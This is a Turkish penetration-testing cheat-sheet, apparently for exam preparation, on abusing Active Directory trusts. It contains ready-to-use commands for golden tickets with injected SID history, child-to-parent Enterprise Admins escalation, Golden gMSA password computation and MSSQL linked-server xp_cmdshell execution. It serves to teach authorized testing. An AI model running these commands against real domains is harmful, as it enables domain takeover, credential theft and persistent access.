FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE zor :88:389:445:1433

Domain & Forest Trust Abuse — SID History Injection, Child-to-Parent, Cross-Forest, Golden gMSA, Linked Server Chain

Domain/forest trust ilişkileri numaralandırılarak SID History injection'lı golden ticket ile child->parent Enterprise Admins yükselişi, cross-forest erişim, golden gMSA hesaplama ve MSSQL linked server zinciri ile lateral hareket gerçekleştirilir.

Bilgi: ÖN KOŞULLAR
  • Child domain'de Domain Admin (child->parent için)
  • krbtgt hash'i + child DOMAIN_SID (golden ticket için)
  • Parent/forest root domain SID (Enterprise Admins SID için)
  • gMSA için ManagedPassword okuma hakkı veya KDS root key
  • MSSQL linked server zinciri için bir DB erişimi
┌──

Komutlar

powerview ✓ EXAM-SAFE user
Get-DomainTrust -Domain {{DOMAIN}}
PowerView ile mevcut domain'in trust ilişkilerini (parent/child, external, forest) listeler. HackTricks - Domain Trusts enumeration
powerview ✓ EXAM-SAFE user
Get-DomainTrustMapping
Tüm erişilebilir trust'ları özyinelemeli haritalar (forest topolojisi). The Hacker Recipes - Trusts enumeration
cmd ✓ EXAM-SAFE user
nltest /domain_trusts /all_trusts
Yerleşik nltest ile trust ilişkilerini listeler (PowerView yoksa). HackTricks - nltest domain_trusts
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -M enum_trusts
NetExec LDAP modülü ile trust numaralandırma (Linux taraflı). NetExec Wiki - enum_trusts module
impacket ✓ EXAM-SAFE domain-admin
impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain child.{{DOMAIN}} -extra-sid S-1-5-21-PARENTSID-519 Administrator
Child->Parent: child krbtgt hash'i ile golden ticket, -extra-sid ile parent Enterprise Admins (RID 519) SID'i enjekte edilir; SID History sayesinde forest root'ta DA olunur. HackTricks - Child to Parent (ExtraSID)
mimikatz ✓ EXAM-SAFE domain-admin
kerberos::golden /user:Administrator /domain:child.{{DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{NTHASH}} /sids:S-1-5-21-PARENTSID-519 /ptt
Mimikatz ile aynı saldırı: /sids ile parent Enterprise Admins SID History enjeksiyonu + PtT. HackTricks - Mimikatz golden /sids
impacket ✓ EXAM-SAFE domain-admin
impacket-raiseChild {{DOMAIN}}/{{USER}}:{{PASS}}
Tek komutla child->parent zincirini otomatikleştirir: child DA'dan forest root Administrator'a yükselir (DCSync + golden + psexec). WADComs - Impacket raiseChild
impacket ✓ EXAM-SAFE user
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator {{DOMAIN}}/{{USER}}:{{PASS}}
Cross-forest: trust üzerinden hedef domain servisine S4U/bilet talebi (yetkilendirme + trust key durumuna göre). The Hacker Recipes - Cross-forest movement
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --gmsa
gMSA hesaplarının ManagedPassword (NT hash) değerlerini okuma hakkı varsa çeker. NetExec Wiki - --gmsa
gMSADumper ✓ EXAM-SAFE user
python3 gMSADumper.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}}
gMSA NT hash'lerini LDAP üzerinden dumplar; Golden gMSA için temel. The Hacker Recipes - Golden gMSA
GoldenGMSA ✓ EXAM-SAFE domain-admin
GoldenGMSA.exe compute --sid {{DOMAIN_SID}} --kdskey <KDSRootKeyB64>
Golden gMSA: KDS root key ele geçirilirse herhangi bir gMSA'nın gelecekteki/parolasını offline hesaplar (parola değişse bile geçerli). Semperis - Golden gMSA / GoldenGMSA tool
mssqlclient ✓ EXAM-SAFE user
impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} -windows-auth
MSSQL linked server zinciri başlangıcı: ilk SQL sunucusuna bağlan, ardından EXECUTE AT ile linked server'lara sıçra. HackTricks - MSSQL Linked Servers
mssqlclient ✓ EXAM-SAFE user
enum_links
mssqlclient içinde linked server'ları ve hangi kimlikle çalıştırıldıklarını listeler. HackTricks - enum_links / Linked Servers
mssqlclient ⚠ RESTRICTED user
EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [LINKED\SERVER]
Linked server üzerinden uzaktaki SQL'de komut çalıştırma (zincir lateral hareket). HackTricks - Linked Server xp_cmdshell chain

Genel Bakış

Forest, güvenlik sınırıdır; domain DEĞİL. Aynı forest içindeki child domain’i ele geçirmek, trust ilişkileri sayesinde forest root’a (Enterprise Admins) yükselmeyi mümkün kılar. Cross-forest trust’larda ise SID filtering devreye girdiği için saldırı yüzeyi daralır ama yine de istismar yolları vardır.

1. Trust Numaralandırma (NEDEN önce bu)

Hangi trust’ın hangi yönde (inbound/outbound), transitive olup olmadığını ve forest sınırlarını bilmeden saldırı seçemezsin. Get-DomainTrust, Get-DomainTrustMapping, nltest /domain_trusts /all_trusts ile haritayı çıkar. Parent-child trust’lar her zaman bidirectional + transitive’dir; en kolay yol budur.

2. Child-to-Parent: SID History Injection

Forest içinde SID filtering parent-child trust’ta uygulanmaz. Mantık:

  1. Child domain’de Domain Admin ol, child krbtgt hash’ini DCSync ile çek.
  2. Forest root domain’in Enterprise Admins SID’ini bul: S-1-5-21-<ROOT>-519.
  3. Child krbtgt ile golden ticket üret ve ExtraSID/SID History olarak 519’u enjekte et (-extra-sid impacket, /sids mimikatz).
  4. PAC içine Enterprise Admins SID’i girdiği için parent DC seni forest yöneticisi sayar. impacket-raiseChild bu zinciri tek komutta otomatikleştirir.

3. Cross-Forest

Forest sınırını geçen trust’larda SID filtering 519/512 gibi yüksek RID’leri filtreler — saf ExtraSID çalışmaz. Bunun yerine: trust key ile inter-realm TGT forge etme, foreign principal ACL’leri (kullanıcı/grup başka forest’tan yetki almışsa), veya kerberoast/abusable ACL yolları kullanılır. impacket-getST -impersonate ile S4U üzerinden hedef servis biletleri talep edilebilir.

4. Golden gMSA

gMSA parolaları KDS root key + hesap SID’inden deterministik üretilir. KDS root key’i (domain controller’da saklanır) ele geçirirsen GoldenGMSA compute ile herhangi bir gMSA’nın NT hash’ini offline ve parola değişse bile hesaplarsın — kalıcı bir credential backdoor. Düşük yetkiyle sadece okuma hakkı varsa gMSADumper.py/nxc --gmsa yeterli.

5. MSSQL Linked Server Chain

SQL sunucuları arasındaki linked server’lar genelde yüksek yetkili (sa veya sysadmin) bağlamda çalışır ve trust gibi davranır:

  1. İlk sunucuya impacket-mssqlclient -windows-auth ile bağlan.
  2. enum_links ile zinciri çıkar (A -> B -> C).
  3. EXECUTE ... AT [SERVER] ile uzaktaki SQL’de sorgu/xp_cmdshell çalıştır; çoğu zaman daha yetkili bağlamda kod çalışır, böylece başka host/domain’e sıçrarsın.

Gotchas

  • SID filtering: Forest içi parent-child’da yok, forest-arası trust’ta var. 519 enjeksiyonu cross-forest’ta sessizce düşürülür.
  • Enterprise Admins SID forest root’ta: 519 her zaman forest ROOT domain’in SID’idir, child’ın değil.
  • Clock skew / SPN: golden ticket tarafındaki tüm Kerberos kuralları (saat, FQDN) burada da geçerli.
  • Linked server double-hop: xp_cmdshell etkin değilse sp_configure ile açman gerekir; RPC OUT kapalıysa zincir kırılır.
  • gMSA okuma hakkı: PrincipalsAllowedToRetrieveManagedPassword listesinde olmalısın; aksi halde sadece KDS root key yolu kalır.

Sonuç

Trust istismarı, tek bir domain’i ele geçirmeyi tüm forest/ortam hakimiyetine çevirir; SID History tek domain’den Enterprise Admins’e, Golden gMSA kalıcı servis hesabı erişimine, linked server zinciri ise ağ boyunca sessiz lateral harekete kapı açar.

┌──

Kaynaklar

0/15 set